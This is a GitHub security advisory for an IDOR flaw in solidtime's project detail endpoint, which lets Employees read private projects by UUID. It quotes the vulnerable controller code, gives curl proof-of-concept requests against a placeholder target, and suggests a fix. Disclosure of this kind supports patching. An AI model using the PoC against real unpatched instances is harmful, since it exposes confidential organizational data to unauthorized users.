Skip to content

IDOR private projects

Moderate
Onatcer published GHSA-354j-rx28-jjxm Mar 19, 2026

Package

solidtime-io/solidtime (solidtime-io/solidtime )

Affected versions

<= 0.11.5

Patched versions

v0.11.6

Description

Summary

The project detail endpoint GET /api/v1/organizations/{org}/projects/{project} allows any authenticated Employee to access any project in the organization by UUID, including private projects they are not a member of. The index() endpoint correctly applies the visibleByEmployee() scope, but show() does not.

Details

File: app/Http/Controllers/Api/V1/ProjectController.php

// index() — line 53: CORRECT — applies visibility scope for employees
if ($this->member($organization)->role === Role::Employee->value) {
    $projectsQuery = $projectsQuery->visibleByEmployee($user);
}

// show() — lines 79-88: VULNERABLE — no visibility check
public function show(Organization $organization, Project $project): ProjectResource
{
    $this->checkPermission($organization, 'projects:view');
    // ← Missing: visibleByEmployee() check
    return new ProjectResource($project, true);
}

The Employee role has the projects:view permission (defined in JetstreamServiceProvider.php line 268), which is sufficient to pass the checkPermission() call. The visibleByEmployee() scope that limits access to public projects or projects the employee is a member of is only applied in index(), not in show().

A code comment at line 83 states "employees can not access this endpoint", but this is incorrect — employees DO have the projects:view permission.

PoC

Step 1: As Owner, create a private project:

curl -X POST http://TARGET/api/v1/organizations/{ORG_ID}/projects \
  -H "Authorization: Bearer {OWNER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"name":"CONFIDENTIAL - Board Restructuring","color":"#d32f2f","is_billable":true,"client_id":null,"is_public":false}'
# Note the project UUID from the response

Step 2: As Employee, list projects via index() — the private project does NOT appear:

curl -H "Authorization: Bearer {EMPLOYEE_TOKEN}" -H "Accept: application/json" \
  "http://TARGET/api/v1/organizations/{ORG_ID}/projects"
# Private project is correctly hidden

Step 3: As Employee, access the private project by UUID via show():

curl -H "Authorization: Bearer {EMPLOYEE_TOKEN}" -H "Accept: application/json" \
  "http://TARGET/api/v1/organizations/{ORG_ID}/projects/{PRIVATE_PROJECT_UUID}"
# HTTP 200 — full project metadata returned:
# {"data":{"name":"CONFIDENTIAL - Board Restructuring","is_public":false,...}}

The Employee can see the project name, configuration, billable rate, and all metadata despite the project being private and the employee not being a member.

Impact

  • An Employee can access names and configuration of all projects in the organization, including confidential projects marked as private (is_public=false)
  • Project names often contain sensitive business information (client names, deal names, restructuring plans)
  • Combined with S01, the employee can also see the project's billable_rate if one is set
  • Project UUIDs can be obtained from browser history, shared URLs, or network traffic
  • CVSS 3.1: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Suggested fix: Add visibleByEmployee() check in show():
    if ($this->member($organization)->role === Role::Employee->value) {
        Project::query()->visibleByEmployee($this->user())->where('id', $project->id)->firstOrFail();
    }

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-33345

Weaknesses

No CWEs

Credits